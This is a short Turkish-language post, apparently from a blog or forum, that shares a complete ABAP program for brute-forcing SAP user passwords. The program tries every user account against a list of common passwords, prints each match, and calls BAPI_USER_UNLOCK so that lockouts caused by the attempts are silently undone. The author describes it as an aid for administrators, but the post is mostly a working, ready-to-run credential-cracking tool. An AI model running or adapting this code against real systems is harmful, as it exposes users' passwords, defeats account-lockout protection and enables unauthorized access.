merhaba arkadaşlar, sizinle bugün sap’nin açıklarını paylaşıyorum. brute force diye tabir ettiğimiz yöntemi kullanarak sap sistemindeki bütün kullanıcıların şifrelerinin elimizdeki şifre listesine uyup uymadığını kontrol edebiliriz. eğer kullanıcı kolay bir şifre kullanıyorsa bunu görebiliriz. bu programı daha çok sistem yöneticilerinin kullanımı için paylaşıyorum.
kodu kısaca anlatmak gerekirse önce kullanıcıların şifrelerini, elimdeki şifre listesi ile tek tek SUSR_LOGIN_CHECK_RFC fonksiyonunu kullanarak kontrol ediyorum daha sonra kullanıcı hesabı doğal olarak kilitlendiği için kilidi BAPI_USER_UNLOCK fonksiyonu ile açıyorum.
buyrun program burada;
*&---------------------------------------------------------------------* *& Report ZCRACK_USER_PASSWORD *& *&---------------------------------------------------------------------* *& *& *&---------------------------------------------------------------------* REPORT zcrack_user_password. DATA: lt_ret LIKE bapiret2 OCCURS 0 WITH HEADER LINE. DATA: BEGIN OF lt_pass OCCURS 0, pass LIKE rsyst-bcode, END OF lt_pass. DATA: lt_usr LIKE usr01 OCCURS 0 WITH HEADER LINE. lt_pass-pass = '123456'. APPEND lt_pass. lt_pass-pass = '1234567'. APPEND lt_pass. lt_pass-pass = '12345678'. APPEND lt_pass. lt_pass-pass = '123456789'. APPEND lt_pass. lt_pass-pass = '1234567890'. APPEND lt_pass. lt_pass-pass = '123qwe'. APPEND lt_pass. lt_pass-pass = 'qwe123'. APPEND lt_pass. lt_pass-pass = '1234qwer'. APPEND lt_pass. lt_pass-pass = 'qwer1234'. APPEND lt_pass. SELECT * FROM usr01 INTO TABLE lt_usr. LOOP AT lt_usr. LOOP AT lt_pass. CALL FUNCTION 'SUSR_LOGIN_CHECK_RFC' EXPORTING bname = lt_usr-bname password = lt_pass-pass use_new_exception = 1 EXCEPTIONS wait = 1 user_locked = 2 user_not_active = 3 password_expired = 4 wrong_password = 5 no_check_for_this_user = 6 password_attempts_limited = 7 internal_error = 8 OTHERS = 9. IF sy-subrc EQ 0. WRITE: / lt_usr-bname, ' : ' , lt_pass-pass. ENDIF. ENDLOOP. CALL FUNCTION 'BAPI_USER_UNLOCK' EXPORTING username = lt_usr-bname TABLES return = lt_ret. ENDLOOP. |